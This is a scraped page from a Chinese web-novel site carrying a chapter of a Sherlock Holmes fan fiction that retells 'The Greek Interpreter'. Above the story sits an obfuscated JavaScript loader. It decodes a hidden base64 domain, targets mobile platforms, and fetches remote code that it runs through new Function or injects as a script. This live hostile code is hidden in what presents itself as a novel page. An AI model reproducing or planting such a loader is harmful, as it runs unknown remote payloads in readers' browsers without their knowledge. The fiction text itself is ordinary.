妙书阁小说

阅读记录  |   用户书架
上一页
目录 | 设置
下一章
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

我在名著世界优雅老去 第138节(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

夏洛克·福尔摩斯立刻坐正了身体:“当然,亲爱的迈克罗夫特,我很乐意。”

于是,迈克罗夫特就写了一张字条,交给了侍者。

“我让人去把梅拉斯先生请到这里来,他是我的邻居,正在教维克多希腊语,我们来往颇多,所以,当他遇到怪事和麻烦的时候,第一时间就是来找我商量。”

“原来维克多已经开始学习希腊语了,”夏洛克·福尔摩斯恍然,他转头对华生说道,“维克多·福尔摩斯是我侄子,今年六岁,非常有语言天赋。”

听到弟弟夸奖自家的小绅士,迈克罗夫特露出一个矜持的微笑,尽量不让自己的得意太明显:

“维克多继承了他母亲的天赋,也遗传了我的才能,确实是一个聪明的孩子。”

“说说那位梅拉斯先生吧,迈克罗夫特。虽然我也非常赞同你的评价,但我想维克多并不是特别喜欢,他更愿意听别人夸奖他的长相。”

迈克罗夫特假装没有听见夏洛克的后半句,朝着华生笑了笑,而后接着介绍道:“梅拉斯先生擅长多国语言,是伦敦很有名的译员……”

作者有话要说:(以下也是正文,因为是换个角度叙述原著内容,就放在作话里了,属于免付费内容。)

正说着话,具有希腊血统的译员梅拉斯先生就到了。

之后,他给夏洛克和华生讲了他的遭遇,大体的过程就是,他被人蒙着眼睛“请”到了一个陌生的房子里,充当了一回英国人和希腊人之间的翻译。

在这个过程中,他发现了许多不同寻常的地方,可能涉及到了非法囚禁和强制转移财产,但是,还没等他弄明白怎么回事,就又被送了回来。

平安到家后,他越想越觉得不对劲,想要帮助那所陌生房子里的可怜希腊男人,于是,他就向迈克罗夫特求助。

夏洛克·福尔摩斯听完整个过程后,又得知迈克罗夫特已经在各家的报纸上刊登了广告,希望有知道内情的人能够告知他们有关的线索,便没有再多说什么。他叮嘱了梅拉斯先生几句后,就和华生一起离开了俱乐部。

两人一边谈论案情一边回到贝克街寓所,一打开们,竟然发现迈克罗夫特坐在扶手椅,正等着他们回来呢。

“迈克罗夫特,你真让我吃惊,让我想想,是什么缘由让你多走了这么多路,屈尊到我这里来坐一坐。”

“准确地说,夏洛克,我是坐着马车来的,所以并没有多走多少路。”

夏洛克抱着手臂看着迈克罗夫特,等他继续说下去。

迈克罗夫特笑着掏出一张信纸:“在你们离开几分钟后,我收到了广告的回复,有人告诉了我们梅拉斯先生去过的地方到底在哪里,我想,我们现在就可以动身出发了。”

“我们?你也要一起去?”

“当然,不知为何,我忽然对这个案子有了非同寻常的兴趣。”

备注:

这里涉及的案件是《福尔摩斯探案集》里《希腊议员》的案子,小天使们可以在网上搜索以下原文,一个小短篇,看过后更有利于理解这部分内容。

(注1)有关第欧根尼俱乐部的介绍参考自原著内容。

第102章

对于迈克罗夫特口中的不同寻常的兴趣,夏洛克并不是特别相信。

但是,时间不等人,两位福尔摩斯都意识到,此时正有无辜的人在遭受生命威胁,所以,还是找人最重要。

“迈克罗夫特,是谁给你写的信?对方知道那些人的准确藏身地点吗?”

迈克罗夫特把手中的信交给夏洛克和华生。

“是一位署名为j·达文波特的绅士寄来的信,他告知我,译员梅拉斯先生去过的那幢房子,在肯特郡的郊区,位于贝克纳姆的默特尔兹寓所。”

看完信,夏洛克·福尔摩斯眉头紧锁,他一边从抽屉里拿出枪,一边向外走:

“事态紧急,咱们先去找梅拉斯先生吧,然后一起去肯特郡。”

三人迅速行动起来,却发现晚了一步。住在蓓尔梅尔街的译员梅拉斯先生在他们抵达之前,已经被人带走了。

他们立刻意识到,那些贪婪的恶徒们开始进行报复行动了,他们必须尽快找到处于危险当中的受害者们。

“希望去肯特郡的火车会比那辆马车更快一些。”华生十分担忧。

“但是,我们不能直接去火车站,必须先去一趟警察总署,找人开一份进入私宅许可证明,还得请一位官方警探和我们一起行动。否则的话,咱们不仅救不了人,还得惹上大麻烦。”

夏洛克眉头紧皱,他在心里计算了一下时间,发现有些赶不及了,他侧头看了一眼迈克罗夫特,无声询问。

对方摇了摇头:“太晚了,夏洛克,即便现在发电报去肯特郡那边,也没有人接收处理,他们会把事情拖延到第二天。”

“既然这样,我们现在就去找葛来森警探。”

三位男士加快了行动速度。

但是,当他们在肯特郡的贝克纳姆火车站下车的时候,已经晚上十点半了,他们又驱车行驶了半英里,才抵达默特尔兹寓所。

在黑漆漆的寓所门前,夏洛克和警探通过地上的车辙,判断出在他们抵达之前,一辆载满了行李的四轮马车已经离开了这里。

“我们来晚了吗?”华生十分焦急。

夏洛克抿了抿唇:“那些恶徒应该已经离开了,我们现在只能祈祷他们没有对梅拉斯先生下毒手,不过,这样的希望很渺茫,那种人可没有多少仁慈之心。”

警探上前一步大力扣响门环,一时之间无人应声,警探又开始按门铃。

夏洛克后退一步,向四周打探,寻找可以进入这幢房子的非正规途径。

然而,就在夏洛克准备去撬窗户的时候,这幢看上去黑漆漆无人居住的房子里传出了响动。

不一会儿,大门缓缓开启,一位身材高大的男士警惕地看着门外诸人。

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间